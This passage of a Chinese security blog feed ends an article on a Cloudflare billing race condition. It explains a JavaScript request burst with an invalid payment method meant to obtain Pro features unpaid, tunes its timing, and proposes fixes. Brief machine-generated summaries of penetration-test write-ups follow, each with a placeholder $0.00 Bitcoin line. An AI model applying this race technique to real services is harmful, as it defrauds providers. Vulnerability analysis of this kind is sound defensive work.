&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;payment_method_id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;xxx&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;payment_method_id&lt;/code&gt; 指向一个无效或余额为零的支付方式——前端通过了，但后端支付网关会拒绝。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;③ &lt;code&gt;for (let i = 0; i &amp;lt; 10; i++)&lt;/code&gt; —— 为什么是 10 次？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;10 次 × 100ms 间隔 = 约 1 秒的持续攻击。后端支付校验的典型延迟在 200-800ms（支付网关回调超时）。10 次请求覆盖了这一秒内的多个时间切片，确保至少有 1-2 次落在&amp;quot;权限已写、账单未回&amp;quot;的临界窗口内。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;④ &lt;code&gt;fetch().then()&lt;/code&gt; 而非 &lt;code&gt;await fetch()&lt;/code&gt; —— “请求波&amp;quot;技巧&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(...))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(...));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里没有 &lt;code&gt;await&lt;/code&gt;。主循环每 100ms 发出一个 &lt;code&gt;fetch&lt;/code&gt; 就立即进入下一轮——不等待响应。效果是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;请求像机枪一样连续发射，互不阻塞&lt;/li&gt;
&lt;li&gt;在同一瞬间可能有 2-3 个请求同时在网络层飞行&lt;/li&gt;
&lt;li&gt;服务端同时面对多个并发请求，后端线程池被瞬间占满，状态机的原子性更容易被打破&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果改成 &lt;code&gt;await fetch()&lt;/code&gt;，请求严格串行——第一个收到 403/回滚之后再发第二个，窗口期已过。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;⑤ &lt;code&gt;await delay(100)&lt;/code&gt; —— 间隔时间的工程计算&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;太短（&amp;lt; 50ms）&lt;/strong&gt;：浏览器同域并发限制通常是 6 个，超过的请求会在浏览器层排队，实际上达不到并发效果；同时服务端可能触发 rate limiting&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;太长（&amp;gt; 500ms）&lt;/strong&gt;：支付回调已完成，权限已被回滚，后续请求全是&amp;quot;送人头”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;100ms&lt;/strong&gt;：恰好落在浏览器并发安全区（10 次 × 100ms 不会瞬间占满 6 槽位），同时窗口覆盖回滚延迟&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;⑥ 控制台日志的视觉心理学&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;%c 开始执行...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;color: #007aff; font-weight: bold;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;%c 脚本执行完毕...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;color: #34c759; font-weight: bold;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;开头用蓝色 &lt;code&gt;#007aff&lt;/code&gt;（iOS 系统蓝，冷色调、技术感），降低操作紧张情绪。结尾用绿色 &lt;code&gt;#34c759&lt;/code&gt;（iOS 成功绿），暗示操作完成且成功。这不是随意选的——操作者心理暗示是漏洞利用的一部分。&lt;/p&gt;
&lt;h3 id="攻击时序图"&gt;攻击时序图
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;时间轴 ──────────────────────────────────────────────────►
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;请求1: POST /append ──► 权限写入 ✓ ──► 支付校验启动...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;请求2: POST /append ──► 权限写入 ✓ ──► 支付校验启动...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;请求3: POST /append ──► 权限写入 ✓ ──► 支付校验启动...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [支付回调到达 ── 全部失败，触发回滚]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;请求4: POST /append ──► 权限写入 ✓（部分数据库副本未完成回滚）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;请求5: POST /append ──► 权限写入 ✓（MVCC 快照隔离，读旧版本）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;请求6: POST /append ──► 权限写入 ✓（补偿任务被排队，延迟执行）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ·
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ·
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ·
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;结果：权限表状态 = Pro/Business ✓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 账单表状态 = 未支付 / Free ✓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 控制面板显示 = Free ✓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 实际功能 = Pro/Business ✓ ← 量子叠加态
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="五为什么这个漏洞能成立四个必须同时满足的条件"&gt;五、为什么这个漏洞能成立？——四个必须同时满足的条件
&lt;/h2&gt;&lt;p&gt;从代码层面还原，这个漏洞成立必须满足以下四个条件：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;条件 1：&lt;code&gt;grant_entitlement()&lt;/code&gt; 早于 &lt;code&gt;charge_confirmed()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;后端在处理 &lt;code&gt;Append&lt;/code&gt; 请求时，&lt;code&gt;grant_entitlement()&lt;/code&gt;（权限发放）在同步路径上，而 &lt;code&gt;charge_confirmed()&lt;/code&gt;（支付确认）被放入异步队列。代码结构类似于：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;function handleAppend(req):
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; grant_entitlement(req.plan_id) // 同步，立即执行
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; async_queue.enqueue(charge(req)) // 异步，排队执行
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return 200 OK // 前端收到&amp;#34;成功&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;条件 2：缺少幂等键（Idempotency Key）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;同一个 &lt;code&gt;Append&lt;/code&gt; 请求可以被重放多次，每次都进入完整的处理逻辑。如果有 &lt;code&gt;Idempotency-Key&lt;/code&gt;，第二次重放会直接返回&amp;quot;请求已处理&amp;quot;，竞态窗口就不存在了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;条件 3：权限与账单不在同一事务边界&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;权限表（&lt;code&gt;entitlements&lt;/code&gt;）和账单表（&lt;code&gt;billing_records&lt;/code&gt;）很可能是两个独立的微服务，没有共享的事务上下文。回滚操作依赖异步消息队列（如 Kafka），存在延迟。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;条件 4：补偿任务的执行延迟或漏执行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;支付失败后触发的 &lt;code&gt;compensate()&lt;/code&gt;（补偿回滚）是通过定时任务或消息队列异步执行的。在高并发冲击下，补偿消息可能被积压、丢弃，或者补偿逻辑本身没有做到幂等重试。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="六为什么这类漏洞总在-saas-平台反复出现"&gt;六、为什么这类漏洞总在 SaaS 平台反复出现？
&lt;/h2&gt;&lt;p&gt;这不是 Cloudflare 一家的问题。从 Stripe 的早期 API 设计到各种 SaaS 订阅系统，类似模式反复出现。根本原因有三：&lt;/p&gt;
&lt;h3 id="1-计费被当成业务功能而非安全边界"&gt;1. 计费被当成&amp;quot;业务功能&amp;quot;而非&amp;quot;安全边界&amp;quot;
&lt;/h3&gt;&lt;p&gt;登录、鉴权链路通常有严格的原子性设计和审计要求。但计费链路——直接涉及资金和权限——常见异步拼接和弱一致性。组织的安全边界画错了地方。&lt;/p&gt;
&lt;h3 id="2-先开后付的产品本能"&gt;2. “先开后付&amp;quot;的产品本能
&lt;/h3&gt;&lt;p&gt;产品团队追求&amp;quot;丝滑体验”：用户点一下，权限立刻生效，支付在后台慢慢跑。这在 99.9% 的场景下是好的设计，但留下了 0.1% 的异常窗口——安全研究者追逐的正是这 0.1%。&lt;/p&gt;
&lt;h3 id="3-分布式系统的一致性税"&gt;3. 分布式系统的一致性税
&lt;/h3&gt;&lt;p&gt;当 Entitlement Service 和 Billing Service 是独立微服务时，跨服务事务天然需要 Saga 或 2PC。如果补偿机制设计不完善，就会出现&amp;quot;权限已售出、资金未到账&amp;quot;的状态缝隙。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="七修复方案可落地"&gt;七、修复方案（可落地）
&lt;/h2&gt;&lt;h3 id="1-强制先支付后授权"&gt;1) 强制先支付后授权
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;// ❌ 漏洞路径
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;POST /append → grant_entitlement() → async charge() → compensate if fail
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;// ✅ 修复路径
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;POST /append → charge() → on charge_confirmed → grant_entitlement()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;权限发放只响应 &lt;code&gt;charge_confirmed&lt;/code&gt; 事件。未确认的请求停留在 &lt;code&gt;pending&lt;/code&gt; 状态，前端可轮询。&lt;/p&gt;
&lt;h3 id="2-引入幂等键"&gt;2) 引入幂等键
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;POST /append
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Header: Idempotency-Key: &amp;lt;uuid&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;// 服务端：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if (idempotency_store.exists(key)):
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return cached_response // 不重复处理
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Stripe 的标准实践。同一键只允许一次状态推进，并发 100 次只处理 1 次。&lt;/p&gt;
&lt;h3 id="3-单事务或-saga-强补偿"&gt;3) 单事务或 Saga 强补偿
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;权限与账单落库在同一数据库事务内完成&lt;/li&gt;
&lt;li&gt;跨服务使用 Saga 模式，每步有对应的 &lt;code&gt;compensate&lt;/code&gt; 操作&lt;/li&gt;
&lt;li&gt;补偿必须是&lt;strong&gt;可重试、可审计、有告警&lt;/strong&gt;的——不能依赖&amp;quot;定时扫表&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4-运行时二次校验"&gt;4) 运行时二次校验
&lt;/h3&gt;&lt;p&gt;在 WAF 规则配置、图片优化等关键能力入口，实时查询账单状态，不仅依赖&amp;quot;历史已授权&amp;quot;标记。每次 API 调用都是检查点：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;handleWafRule() {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if (!billing_service.isProActive(user)) {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return 403;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; // ... 正常处理
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="5-风控检测"&gt;5) 风控检测
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;同一账户 1 秒内超过 3 次 &lt;code&gt;Append&lt;/code&gt; 触发人工审核&lt;/li&gt;
&lt;li&gt;支付失败后 30 秒内锁定升级接口&lt;/li&gt;
&lt;li&gt;对短时密集相同请求进行限速和熔断&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="八结语"&gt;八、结语
&lt;/h2&gt;&lt;p&gt;表面看这是一个&amp;quot;白嫖漏洞&amp;quot;，本质上是分布式系统中&lt;strong&gt;状态一致性&lt;/strong&gt;的经典问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;对研究者&lt;/strong&gt;：关注点从&amp;quot;能不能绕过&amp;quot;升级为&amp;quot;为什么能绕过&amp;quot;，定位状态机缺陷比找到具体利用更有价值。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;对平台方&lt;/strong&gt;：计费系统是安全边界的一部分。&lt;strong&gt;一致性设计 = 资金安全 + 品牌安全&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;对工程师&lt;/strong&gt;：每一次&amp;quot;异步优化体验&amp;quot;都是一次风险成本评估。先开后付很舒服，但补偿路径必须铁板钉钉。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;安全研究的真正价值，不是放大利用，而是让系统变得更难被利用。&lt;/p&gt;
&lt;hr&gt;</description></item><item><title>HackTheBox Horizontall 靶机渗透实战：从 Strapi NoSQL 注入到 Laravel Debug RCE 提权全过程</title><link>https://blog.7qiang.com/posts/auto-security-20260518-559/</link><pubDate>Mon, 18 May 2026 12:01:03 +0000</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260518-559/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post HackTheBox Horizontall 靶机渗透实战：从 Strapi NoSQL 注入到 Laravel Debug RCE 提权全过程" /&gt;&lt;h2 id="原文摘要"&gt;原文摘要
&lt;/h2&gt;&lt;p&gt;本文是 HackTheBox Horizontall 靶机的详细渗透测试记录。通过端口扫描发现 Web 服务，在前端 JS 文件中提取出隐藏子域名 api-prod.horizontall.htb，识别出 Strapi CMS（3.0.0-beta.17.4）。利用 CVE-2019-18818（NoSQL 注入重置管理员密码）获取管理员权限，再结合 CVE-2019-19606（插件安装命令注入&lt;/p&gt;
&lt;h2 id="文章来源"&gt;文章来源
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;标题&lt;/strong&gt;: HackTheBox Horizontall 靶机渗透实战：从 Strapi NoSQL 注入到 Laravel Debug RCE 提权全过程&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;来源&lt;/strong&gt;: security&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;链接&lt;/strong&gt;: &lt;a class="link" href="https://xz.aliyun.com/news/92144" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/92144&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时间&lt;/strong&gt;: 2026-05-17 13:13:05&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="核心内容"&gt;核心内容
&lt;/h2&gt;&lt;p&gt;本文是 HackTheBox Horizontall 靶机的详细渗透测试记录。通过端口扫描发现 Web 服务，在前端 JS 文件中提取出隐藏子域名 api-prod.horizontall.htb，识别出 Strapi CMS（3.0.0-beta.17.4）。利用 CVE-2019-18818（NoSQL 注入重置管理员密码）获取管理员权限，再结合 CVE-2019-19606（插件安装命令注入&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;内容来源：security&lt;/em&gt;
&lt;em&gt;原文链接：&lt;a class="link" href="https://xz.aliyun.com/news/92144" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/92144&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="市场背景"&gt;市场背景
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;BTC 价格：$0.00&lt;/li&gt;
&lt;li&gt;24h 涨跌：+0.00%&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;
&lt;em&gt;生成时间：2026-05-18T12:01:03.885149+00:00&lt;/em&gt;&lt;/p&gt;</description></item><item><title>HackTheBox AirTouch：一场从 SNMP 泄露打进 WPA2 无线内网的攻击链</title><link>https://blog.7qiang.com/posts/auto-security-20260509-196/</link><pubDate>Sat, 09 May 2026 06:01:03 +0000</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260509-196/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post HackTheBox AirTouch：一场从 SNMP 泄露打进 WPA2 无线内网的攻击链" /&gt;&lt;h2 id="原文摘要"&gt;原文摘要
&lt;/h2&gt;&lt;p&gt;本文记录 HackTheBox 靶机 AirTouch 的完整渗透过程。初始阶段仅发现 SSH 服务开放，但通过 UDP 扫描定位到 SNMP 服务，并利用默认 community string 读取到 consultant 账号密码。登录后发现目标处于 Docker 容器化无线实验环境中，进一步枚举虚拟无线网卡与网络拓扑。随后针对 AirTouch-Internet 执行监听、Deauth 攻击&lt;/p&gt;
&lt;h2 id="文章来源"&gt;文章来源
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;标题&lt;/strong&gt;: HackTheBox AirTouch：一场从 SNMP 泄露打进 WPA2 无线内网的攻击链&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;来源&lt;/strong&gt;: security&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;链接&lt;/strong&gt;: &lt;a class="link" href="https://xz.aliyun.com/news/92102" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/92102&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时间&lt;/strong&gt;: 2026-05-08 10:15:01&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="核心内容"&gt;核心内容
&lt;/h2&gt;&lt;p&gt;本文记录 HackTheBox 靶机 AirTouch 的完整渗透过程。初始阶段仅发现 SSH 服务开放，但通过 UDP 扫描定位到 SNMP 服务，并利用默认 community string 读取到 consultant 账号密码。登录后发现目标处于 Docker 容器化无线实验环境中，进一步枚举虚拟无线网卡与网络拓扑。随后针对 AirTouch-Internet 执行监听、Deauth 攻击&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;内容来源：security&lt;/em&gt;
&lt;em&gt;原文链接：&lt;a class="link" href="https://xz.aliyun.com/news/92102" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/92102&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="市场背景"&gt;市场背景
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;BTC 价格：$0.00&lt;/li&gt;
&lt;li&gt;24h 涨跌：+0.00%&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;
&lt;em&gt;生成时间：2026-05-09T06:01:03.572385+00:00&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Apache Shiro 反序列化与权限绕过漏洞分析及利用</title><link>https://blog.7qiang.com/posts/auto-security-20260508-882/</link><pubDate>Fri, 08 May 2026 09:01:04 +0000</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260508-882/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post Apache Shiro 反序列化与权限绕过漏洞分析及利用" /&gt;&lt;h2 id="原文摘要"&gt;原文摘要
&lt;/h2&gt;&lt;p&gt;前言：在平时测一些站点的时候，几乎都会有登录框或者一些权限存在区分的地方，在这些地方大部分又是使用shiro框架来负责权限操作的；网上的一些原理或者操作太过抽象和分散，于是这篇文章就是谈谈shiro框架的一些漏洞合集和简单分析。首先什么是shiro框架呢？Apache Shiro 是一个功能强大且易于使用的 Java 安全框架，用于处理身份验证、授权、加密和会话管理等核心安全性问题。Shiro 可&lt;/p&gt;
&lt;h2 id="文章来源"&gt;文章来源
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;标题&lt;/strong&gt;: Apache Shiro 反序列化与权限绕过漏洞分析及利用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;来源&lt;/strong&gt;: security&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;链接&lt;/strong&gt;: &lt;a class="link" href="https://xz.aliyun.com/news/92083" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/92083&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时间&lt;/strong&gt;: 2026-05-05 06:12:11&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="核心内容"&gt;核心内容
&lt;/h2&gt;&lt;p&gt;前言：在平时测一些站点的时候，几乎都会有登录框或者一些权限存在区分的地方，在这些地方大部分又是使用shiro框架来负责权限操作的；网上的一些原理或者操作太过抽象和分散，于是这篇文章就是谈谈shiro框架的一些漏洞合集和简单分析。首先什么是shiro框架呢？Apache Shiro 是一个功能强大且易于使用的 Java 安全框架，用于处理身份验证、授权、加密和会话管理等核心安全性问题。Shiro 可&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;内容来源：security&lt;/em&gt;
&lt;em&gt;原文链接：&lt;a class="link" href="https://xz.aliyun.com/news/92083" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/92083&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="市场背景"&gt;市场背景
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;BTC 价格：$0.00&lt;/li&gt;
&lt;li&gt;24h 涨跌：+0.00%&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;
&lt;em&gt;生成时间：2026-05-08T09:01:04.596551+00:00&lt;/em&gt;&lt;/p&gt;</description></item><item><title>[原创]trx ctf 2026 house of fishing</title><link>https://blog.7qiang.com/posts/auto-security-20260507-208/</link><pubDate>Thu, 07 May 2026 06:01:00 +0000</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260507-208/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post [原创]trx ctf 2026 house of fishing" /&gt;&lt;h2 id="原文摘要"&gt;原文摘要
&lt;/h2&gt;&lt;p&gt;文章首发于看雪论坛 [原创]trx ctf 2026 house of fishing 参考文献TRX CTF 2026 house-of-fishing Writeup · rawpayload前言看了一下 trxctf 2026 的堆题，这题看上去很简单，只需要一个任意地址写将 *admin 修改成目标的地址即可触发后门函数，从而getshell，但是程序没有 show() 功能，因此无法通过&lt;/p&gt;
&lt;h2 id="文章来源"&gt;文章来源
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;标题&lt;/strong&gt;: [原创]trx ctf 2026 house of fishing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;来源&lt;/strong&gt;: security&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;链接&lt;/strong&gt;: &lt;a class="link" href="https://xz.aliyun.com/news/92088" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/92088&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时间&lt;/strong&gt;: 2026-05-06 02:55:24&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="核心内容"&gt;核心内容
&lt;/h2&gt;&lt;p&gt;文章首发于看雪论坛 [原创]trx ctf 2026 house of fishing 参考文献TRX CTF 2026 house-of-fishing Writeup · rawpayload前言看了一下 trxctf 2026 的堆题，这题看上去很简单，只需要一个任意地址写将 *admin 修改成目标的地址即可触发后门函数，从而getshell，但是程序没有 show() 功能，因此无法通过&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;内容来源：security&lt;/em&gt;
&lt;em&gt;原文链接：&lt;a class="link" href="https://xz.aliyun.com/news/92088" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/92088&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="市场背景"&gt;市场背景
&lt;/h2&gt;&lt;ul&gt;
